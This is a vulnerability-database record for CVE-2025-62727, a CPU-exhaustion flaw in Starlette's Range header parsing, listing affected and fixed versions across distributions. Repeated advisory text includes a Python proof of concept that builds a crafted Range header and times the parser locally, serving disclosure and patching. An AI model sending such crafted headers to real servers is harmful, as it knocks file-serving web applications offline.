{"id":"CVE-2025-62727","aliases":["DEBIAN-CVE-2025-62727","EUVD-2025-36555","GHSA-7f5h-v6xp-fcq8","MGASA-2026-0327","PYSEC-2026-1942","ROOT-APP-PYPI-CVE-2025-62727","SUSE-SU-2026:22151-1","UBUNTU-CVE-2025-62727","openSUSE-SU-2025:15696-1","openSUSE-SU-2026:10109-1","openSUSE-SU-2026:20975-1"],"status":"published","title":"Starlette vulnerable to O(n^2) DoS via Range header merging in starlette.responses.FileResponse","description":"Starlette is a lightweight ASGI framework/toolkit. Starting in version 0.39.0 and prior to version 0.49.1 , an unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse). This vulnerability is fixed in 0.49.1.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.008,"percentile":0.57008,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-400","CWE-407"],"published":"2025-10-28T20:14:53Z","modified":"2026-10-28T02:30:27Z","exploits":[{"source":"pocgithub","id":"ch4n3-yoon/CVE-2025-62727-Demo","title":"ch4n3-yoon/CVE-2025-62727-Demo","date":"2025-10-28","url":"https://github.com/ch4n3-yoon/CVE-2025-62727-Demo"}],"fixes":[{"ecosystem":"PyPI","package":"starlette","fixed_in":["0.49.1"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:13","package":"starlette","fixed_in":["0.46.1-3+deb13u1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"starlette","fixed_in":["0.50.0-1"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"rootio-starlette","fixed_in":["0.36.3+root.io.2","0.45.2+root.io.1","0.47.3+root.io.1","0.46.2+root.io.1","0.42.0+root.io.1","0.41.2+root.io.1","0.41.3+root.io.1","0.47.1+root.io.1","0.48.0+root.io.1","0.47.2+root.io.1","0.46.1+root.io.1","0.45.3+root.io.1","0.46.0+root.io.1","0.47.0+root.io.1","0.47.0+root.io.2","0.46.2+root.io.2","0.45.3+root.io.2","0.45.3+root.io.3","0.47.0+root.io.3","0.45.2+root.io.2","0.46.0+root.io.2","0.46.2+root.io.3","0.46.1+root.io.2","0.48.0+root.io.2","0.36.3+root.io.3","0.47.3+root.io.2","0.47.2+root.io.2","0.42.0+root.io.2","0.47.1+root.io.2","0.41.2+root.io.2","0.41.3+root.io.2","0.42.0+root.io.3","0.41.3+root.io.3","0.48.0+root.io.3","0.47.2+root.io.3","0.46.1+root.io.3","0.46.2+root.io.4","0.47.1+root.io.3","0.47.3+root.io.3","0.41.3+aikido.4","0.42.0+aikido.4","0.46.1+aikido.4","0.47.2+aikido.4","0.45.3+aikido.12","0.46.0+aikido.3","0.47.1+aikido.4","0.47.3+aikido.4","0.46.2+aikido.5","0.47.0+aikido.4","0.48.0+aikido.4","0.45.2+aikido.3","0.42.0+root.io.5","0.49.0+root.io.3","0.41.3+root.io.5","0.41.3+root.io.6","0.46.2+root.io.6","0.45.3+root.io.13","0.48.0+root.io.5","0.47.3+root.io.5","0.45.3+root.io.14","0.41.3+root.io.7","0.46.2+root.io.7","0.45.3+root.io.15"],"sources":["osv"]},{"ecosystem":"Root:PyPI","package":"starlette","fixed_in":["0.45.3+aikido.10","0.45.3+aikido.11","0.45.3+aikido.5","0.45.3+aikido.6","0.45.3+aikido.7","0.45.3+aikido.8","0.45.3+aikido.9","0.47.0+aikido.3","0.45.2+aikido.2","0.46.0+aikido.2","0.46.2+aikido.3","0.46.1+aikido.2","0.48.0+aikido.2","0.36.3+aikido.3","0.47.3+aikido.2","0.47.2+aikido.2","0.42.0+aikido.2","0.47.1+aikido.2","0.41.2+aikido.2","0.41.3+aikido.2","0.42.0+aikido.3","0.41.3+aikido.3","0.48.0+aikido.3","0.47.2+aikido.3","0.47.3+aikido.3","0.46.2+aikido.4","0.47.1+aikido.3","0.46.1+aikido.3","0.41.3+aikido.5","0.41.3+aikido.6"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-starlette","fixed_in":["0.49.1-1.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"python-sse-starlette","fixed_in":["3.2.0-1.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"starlette","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.39.0"},{"last_affected":"0.49.0"},{"fixed":"0.49.1"}]}]},{"source":"osv","ecosystem":"Debian:13","package":"starlette","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.46.1-3+deb13u1"}]}],"versions":["0.46.1-3"]},{"source":"osv","ecosystem":"Debian:14","package":"starlette","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.50.0-1"}]}],"versions":["0.46.1-3"]},{"source":"osv","ecosystem":"PyPI","package":"starlette","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.39.0"},{"fixed":"0.49.1"}]}],"versions":["0.39.0","0.39.1","0.39.2","0.40.0","0.41.0","0.41.1","0.41.2","0.41.3","0.42.0","0.43.0","0.44.0","0.45.0","0.45.1","0.45.2","0.45.3","0.46.0","0.46.1","0.46.2","0.47.0","0.47.1","0.47.2","0.47.3","0.48.0","0.49.0"]},{"source":"osv","ecosystem":"Mageia:10","package":"python-starlette","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.46.0-3.1.mga10"}]}],"bundled":3},{"source":"osv","ecosystem":"PyPI","package":"starlette","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.39.0"},{"fixed":"0.49.1"}]}],"versions":["0.39.0","0.39.1","0.39.2","0.40.0","0.41.0","0.41.1","0.41.2","0.41.3","0.42.0","0.43.0","0.44.0","0.45.0","0.45.1","0.45.2","0.45.3","0.46.0","0.46.1","0.46.2","0.47.0","0.47.1","0.47.2","0.47.3","0.48.0","0.49.0"]},{"source":"osv","ecosystem":"Root:PyPI","package":"rootio-starlette","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.36.3+root.io.2"},{"fixed":"0.45.2+root.io.1"},{"fixed":"0.47.3+root.io.1"},{"fixed":"0.46.2+root.io.1"},{"fixed":"0.42.0+root.io.1"},{"fixed":"0.41.2+root.io.1"},{"fixed":"0.41.3+root.io.1"},{"fixed":"0.47.1+root.io.1"},{"fixed":"0.48.0+root.io.1"},{"fixed":"0.47.2+root.io.1"},{"fixed":"0.46.1+root.io.1"},{"fixed":"0.45.3+root.io.1"},{"fixed":"0.46.0+root.io.1"},{"fixed":"0.47.0+root.io.1"},{"fixed":"0.47.0+root.io.2"},{"fixed":"0.46.2+root.io.2"},{"fixed":"0.45.3+root.io.2"},{"fixed":"0.45.3+root.io.3"},{"fixed":"0.47.0+root.io.3"},{"fixed":"0.45.2+root.io.2"},{"fixed":"0.46.0+root.io.2"},{"fixed":"0.46.2+root.io.3"},{"fixed":"0.46.1+root.io.2"},{"fixed":"0.48.0+root.io.2"},{"fixed":"0.36.3+root.io.3"},{"fixed":"0.47.3+root.io.2"},{"fixed":"0.47.2+root.io.2"},{"fixed":"0.42.0+root.io.2"},{"fixed":"0.47.1+root.io.2"},{"fixed":"0.41.2+root.io.2"},{"fixed":"0.41.3+root.io.2"},{"fixed":"0.42.0+root.io.3"},{"fixed":"0.41.3+root.io.3"},{"fixed":"0.48.0+root.io.3"},{"fixed":"0.47.2+root.io.3"},{"fixed":"0.46.1+root.io.3"},{"fixed":"0.46.2+root.io.4"},{"fixed":"0.47.1+root.io.3"},{"fixed":"0.47.3+root.io.3"},{"fixed":"0.41.3+aikido.4"},{"fixed":"0.42.0+aikido.4"},{"fixed":"0.46.1+aikido.4"},{"fixed":"0.47.2+aikido.4"},{"fixed":"0.45.3+aikido.12"},{"fixed":"0.46.0+aikido.3"},{"fixed":"0.47.1+aikido.4"},{"fixed":"0.47.3+aikido.4"},{"fixed":"0.46.2+aikido.5"},{"fixed":"0.47.0+aikido.4"},{"fixed":"0.48.0+aikido.4"},{"fixed":"0.45.2+aikido.3"},{"fixed":"0.42.0+root.io.5"},{"fixed":"0.49.0+root.io.3"},{"fixed":"0.41.3+root.io.5"},{"fixed":"0.41.3+root.io.6"},{"fixed":"0.46.2+root.io.6"},{"fixed":"0.45.3+root.io.13"},{"fixed":"0.48.0+root.io.5"},{"fixed":"0.47.3+root.io.5"},{"fixed":"0.45.3+root.io.14"},{"fixed":"0.41.3+root.io.7"},{"fixed":"0.46.2+root.io.7"},{"fixed":"0.45.3+root.io.15"}]}]},{"source":"osv","ecosystem":"Root:PyPI","package":"starlette","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.45.3+aikido.10"},{"fixed":"0.45.3+aikido.11"},{"fixed":"0.45.3+aikido.5"},{"fixed":"0.45.3+aikido.6"},{"fixed":"0.45.3+aikido.7"},{"fixed":"0.45.3+aikido.8"},{"fixed":"0.45.3+aikido.9"},{"fixed":"0.47.0+aikido.3"},{"fixed":"0.45.2+aikido.2"},{"fixed":"0.46.0+aikido.2"},{"fixed":"0.46.2+aikido.3"},{"fixed":"0.46.1+aikido.2"},{"fixed":"0.48.0+aikido.2"},{"fixed":"0.36.3+aikido.3"},{"fixed":"0.47.3+aikido.2"},{"fixed":"0.47.2+aikido.2"},{"fixed":"0.42.0+aikido.2"},{"fixed":"0.47.1+aikido.2"},{"fixed":"0.41.2+aikido.2"},{"fixed":"0.41.3+aikido.2"},{"fixed":"0.42.0+aikido.3"},{"fixed":"0.41.3+aikido.3"},{"fixed":"0.48.0+aikido.3"},{"fixed":"0.47.2+aikido.3"},{"fixed":"0.47.3+aikido.3"},{"fixed":"0.46.2+aikido.4"},{"fixed":"0.47.1+aikido.3"},{"fixed":"0.46.1+aikido.3"},{"fixed":"0.41.3+aikido.5"},{"fixed":"0.41.3+aikido.6"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"python-starlette","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.41.3-160000.3.1"}]}],"bundled":3},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"python-starlette","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.41.3-160000.3.1"}]}],"bundled":3},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"starlette","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.14.1-1","0.16.0-1","0.18.0-1"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"starlette","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.30.0-1","0.31.1-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"starlette","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.46.1-2","0.46.1-3"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"starlette","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.50.0-1","1.1.0-1","1.3.1-1","1.7.0-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"starlette","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.46.1-3","0.50.0-1"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-starlette","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.49.1-1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"python-sse-starlette","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.2.0-1.1"}]}]},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"python-starlette","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.41.3-160000.3.1"}]}],"bundled":3}],"products":[{"vendor":"encode","product":"starlette"},{"vendor":"kludex","product":"starlette"}],"references":[{"url":"https://github.com/Kludex/starlette/security/advisories/GHSA-7f5h-v6xp-fcq8","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/Kludex/starlette/commit/4ea6e22b489ec388d6004cfbca52dd5b147127c5","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/Kludex/starlette/commit/69ed26a85956ef4bd0161807eb27abf49be7cd3c","tags":["x_refsource_MISC","fix","web","introduced"]},{"url":"https://github.com/Kludex/starlette/releases/tag/0.49.1","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-62727","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-7f5h-v6xp-fcq8","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/62xxx/CVE-2025-62727.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2025-62727","tags":["advisory"]},{"url":"https://github.com/Kludex/starlette","tags":["package"]},{"url":"https://advisories.mageia.org/MGASA-2026-0327.html","tags":["advisory"]},{"url":"https://bugs.mageia.org/show_bug.cgi?id=35637","tags":["report"]},{"url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HWLLKAJQCNBN46LPLDAYBM2FU65WBX72/","tags":["web"]},{"url":"https://lists.debian.org/debian-security-announce/2026/msg00213.html","tags":["web"]},{"url":"https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-cxjh-pqwp-8mfp","tags":["advisory"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/message/FET4KWO46IN64G35ZF7HGJJBIM4OF3YC/","tags":["web"]},{"url":"https://pypi.org/project/starlette","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202622151-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1246855","tags":["report"]},{"url":"https://bugzilla.suse.com/1252805","tags":["report"]},{"url":"https://bugzilla.suse.com/1266369","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2025-54121","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-62727","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48710","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2025-62727","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-62727","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2025-62727","title":"Starlette vulnerable to O(n^2) DoS via Range header merging in starlette.responses.FileResponse","description":"Starlette is a lightweight ASGI framework/toolkit. Starting in version 0.39.0 and prior to version 0.49.1 , an unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse). This vulnerability is fixed in 0.49.1.","status":"published","published":"2025-10-28T20:14:53.655Z","modified":"2025-11-04T17:41:42.316Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-407"],"updated_at":"2026-11-02T14:32:54.87586Z"}],"euvd":[{"id":"EUVD-2025-36555","description":"Starlette is a lightweight ASGI framework/toolkit. Starting in version 0.39.0 and prior to version 0.49.1 , an unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse). This vulnerability is fixed in 0.49.1.","status":"published","published":"2025-10-28T20:14:53Z","modified":"2025-11-04T17:41:42Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T19:49:25.004858Z"}],"ghsa":[{"id":"GHSA-7f5h-v6xp-fcq8","title":"Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``","description":"### Summary\nAn unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).\n\n### Details\nStarlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.\n\n```python\n# starlette/responses.py\n_RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS\n\nclass FileResponse(Response):\n    @staticmethod\n    def _parse_range_header(http_range: str, file_size: int) -\u003e list[tuple[int, int]]:\n        ranges: list[tuple[int, int]] = []\n        try:\n            units, range_ = http_range.split(\"=\", 1)\n        except ValueError:\n            raise MalformedRangeHeader()\n\n        # [...]\n\n        ranges = [\n            (\n                int(_[0]) if _[0] else file_size - int(_[1]),\n                int(_[1]) + 1 if _[0] and _[1] and int(_[1]) \u003c file_size else file_size,\n            )\n            for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n            if _ != (\"\", \"\")\n        ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n  This affects any Starlette application that uses:\n\n  - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) — `starlette/staticfiles.py:178`\n  - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n    import starlette\n    from starlette.responses import FileResponse\nexcept Exception as e:\n    print(f\"[ERROR] Failed to import starlette: {e}\")\n    sys.exit(1)\n\n\ndef build_payload(length: int) -\u003e str:\n    \"\"\"Build the Range header value body: '0' * num_zeros + '0-'\"\"\"\n    return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -\u003e float:\n    start = time.perf_counter()\n    try:\n        FileResponse._parse_range_header(header, file_size)\n    except Exception:\n        pass\n    end = time.perf_counter()\n    elapsed = end - start\n    return elapsed\n\n\ndef run_once(num_zeros: int) -\u003e None:\n    range_body = build_payload(num_zeros)\n    header = \"bytes=\" + range_body\n    # Use a sufficiently large file_size so upper bounds default to file size\n    file_size = max(len(range_body) + 10, 1_000_000)\n    \n    print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n    elapsed_time = test(header, file_size)\n    print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n    print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n    for n in [5000, 10000, 20000, 40000]:\n        run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.","status":"published","published":"2025-10-28T20:38:01Z","modified":"2025-11-04T17:41:01Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-407"],"updated_at":"2026-11-02T14:39:06.376137Z"}],"nvd":[{"id":"CVE-2025-62727","description":"Starlette is a lightweight ASGI framework/toolkit. Starting in version 0.39.0 and prior to version 0.49.1 , an unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse). This vulnerability is fixed in 0.49.1.","status":"published","published":"2025-10-28T21:15:40.447Z","modified":"2026-10-08T11:10:00.25Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-407"],"updated_at":"2026-11-02T14:11:40.754193Z"}],"osv":[{"id":"CVE-2025-62727","title":"Starlette vulnerable to O(n^2) DoS via Range header merging in starlette.responses.FileResponse","description":"Starlette is a lightweight ASGI framework/toolkit. Starting in version 0.39.0 and prior to version 0.49.1 , an unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse). This vulnerability is fixed in 0.49.1.","status":"published","published":"2025-10-28T20:14:53.655Z","modified":"2026-10-28T02:30:27.292299622Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-407"],"updated_at":"2026-11-02T15:44:51.851511Z"},{"id":"DEBIAN-CVE-2025-62727","description":"Starlette is a lightweight ASGI framework/toolkit. Starting in version 0.39.0 and prior to version 0.49.1 , an unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's FileResponse Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., StaticFiles or any use of FileResponse). This vulnerability is fixed in 0.49.1.","status":"published","published":"2025-10-28T21:15:40.447Z","modified":"2026-10-09T09:47:24.031480346Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:47.697959Z"},{"id":"GHSA-7f5h-v6xp-fcq8","title":"Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``","description":"### Summary\nAn unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).\n\n### Details\nStarlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.\n\n```python\n# starlette/responses.py\n_RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS\n\nclass FileResponse(Response):\n    @staticmethod\n    def _parse_range_header(http_range: str, file_size: int) -\u003e list[tuple[int, int]]:\n        ranges: list[tuple[int, int]] = []\n        try:\n            units, range_ = http_range.split(\"=\", 1)\n        except ValueError:\n            raise MalformedRangeHeader()\n\n        # [...]\n\n        ranges = [\n            (\n                int(_[0]) if _[0] else file_size - int(_[1]),\n                int(_[1]) + 1 if _[0] and _[1] and int(_[1]) \u003c file_size else file_size,\n            )\n            for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n            if _ != (\"\", \"\")\n        ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n  This affects any Starlette application that uses:\n\n  - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) — `starlette/staticfiles.py:178`\n  - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n    import starlette\n    from starlette.responses import FileResponse\nexcept Exception as e:\n    print(f\"[ERROR] Failed to import starlette: {e}\")\n    sys.exit(1)\n\n\ndef build_payload(length: int) -\u003e str:\n    \"\"\"Build the Range header value body: '0' * num_zeros + '0-'\"\"\"\n    return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -\u003e float:\n    start = time.perf_counter()\n    try:\n        FileResponse._parse_range_header(header, file_size)\n    except Exception:\n        pass\n    end = time.perf_counter()\n    elapsed = end - start\n    return elapsed\n\n\ndef run_once(num_zeros: int) -\u003e None:\n    range_body = build_payload(num_zeros)\n    header = \"bytes=\" + range_body\n    # Use a sufficiently large file_size so upper bounds default to file size\n    file_size = max(len(range_body) + 10, 1_000_000)\n    \n    print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n    elapsed_time = test(header, file_size)\n    print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n    print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n    for n in [5000, 10000, 20000, 40000]:\n        run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 3.238832 seconds\n\"\"\"\n```\n\n### Impact\nAny Starlette app serving files via FileResponse or StaticFiles; frameworks built on Starlette (e.g., FastAPI) are indirectly impacted when using file-serving endpoints. Unauthenticated remote attackers can exploit this via a single HTTP request with a crafted Range header.","status":"published","published":"2025-10-28T20:38:01Z","modified":"2026-09-10T03:50:29.490992457Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-407"],"updated_at":"2026-11-02T15:46:41.002603Z"},{"id":"PYSEC-2026-1942","title":"Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse``","description":"### Summary\nAn unauthenticated attacker can send a crafted HTTP Range header that triggers quadratic-time processing in Starlette's `FileResponse` Range parsing/merging logic. This enables CPU exhaustion per request, causing denial‑of‑service for endpoints serving files (e.g., `StaticFiles` or any use of `FileResponse`).\n\n### Details\nStarlette parses multi-range requests in ``FileResponse._parse_range_header()``, then merges ranges using an O(n^2) algorithm.\n\n```python\n# starlette/responses.py\n_RANGE_PATTERN = re.compile(r\"(\\d*)-(\\d*)\") # vulnerable to O(n^2) complexity ReDoS\n\nclass FileResponse(Response):\n    @staticmethod\n    def _parse_range_header(http_range: str, file_size: int) -\u003e list[tuple[int, int]]:\n        ranges: list[tuple[int, int]] = []\n        try:\n            units, range_ = http_range.split(\"=\", 1)\n        except ValueError:\n            raise MalformedRangeHeader()\n\n        # [...]\n\n        ranges = [\n            (\n                int(_[0]) if _[0] else file_size - int(_[1]),\n                int(_[1]) + 1 if _[0] and _[1] and int(_[1]) \u003c file_size else file_size,\n            )\n            for _ in _RANGE_PATTERN.findall(range_) # vulnerable\n            if _ != (\"\", \"\")\n        ]\n\n```\n\nThe parsing loop of ``FileResponse._parse_range_header()`` uses the regular expression which vulnerable to denial of service for its O(n^2) complexity. A crafted `Range` header can maximize its complexity.\n\nThe merge loop processes each input range by scanning the entire result list, yielding quadratic behavior with many disjoint ranges. A crafted Range header with many small, non-overlapping ranges (or specially shaped numeric substrings) maximizes comparisons.\n\n  This affects any Starlette application that uses:\n\n  - ``starlette.staticfiles.StaticFiles`` (internally returns `FileResponse`) — `starlette/staticfiles.py:178`\n  - Direct ``starlette.responses.FileResponse`` responses\n\n### PoC\n```python\n#!/usr/bin/env python3\n\nimport sys\nimport time\n\ntry:\n    import starlette\n    from starlette.responses import FileResponse\nexcept Exception as e:\n    print(f\"[ERROR] Failed to import starlette: {e}\")\n    sys.exit(1)\n\n\ndef build_payload(length: int) -\u003e str:\n    \"\"\"Build the Range header value body: '0' * num_zeros + '0-'\"\"\"\n    return (\"0\" * length) + \"a-\"\n\n\ndef test(header: str, file_size: int) -\u003e float:\n    start = time.perf_counter()\n    try:\n        FileResponse._parse_range_header(header, file_size)\n    except Exception:\n        pass\n    end = time.perf_counter()\n    elapsed = end - start\n    return elapsed\n\n\ndef run_once(num_zeros: int) -\u003e None:\n    range_body = build_payload(num_zeros)\n    header = \"bytes=\" + range_body\n    # Use a sufficiently large file_size so upper bounds default to file size\n    file_size = max(len(range_body) + 10, 1_000_000)\n    \n    print(f\"[DEBUG] range_body length: {len(range_body)} bytes\")\n    elapsed_time = test(header, file_size)\n    print(f\"[DEBUG] elapsed time: {elapsed_time:.6f} seconds\\n\")\n\n\nif __name__ == \"__main__\":\n    print(f\"[INFO] Starlette Version: {starlette.__version__}\")\n    for n in [5000, 10000, 20000, 40000]:\n        run_once(n)\n\n\"\"\"\n$ python3 poc_dos_range.py\n[INFO] Starlette Version: 0.48.0\n[DEBUG] range_body length: 5002 bytes\n[DEBUG] elapsed time: 0.053932 seconds\n\n[DEBUG] range_body length: 10002 bytes\n[DEBUG] elapsed time: 0.209770 seconds\n\n[DEBUG] range_body length: 20002 bytes\n[DEBUG] elapsed time: 0.885296 seconds\n\n[DEBUG] range_body length: 40002 bytes\n[DEBUG] elapsed time: 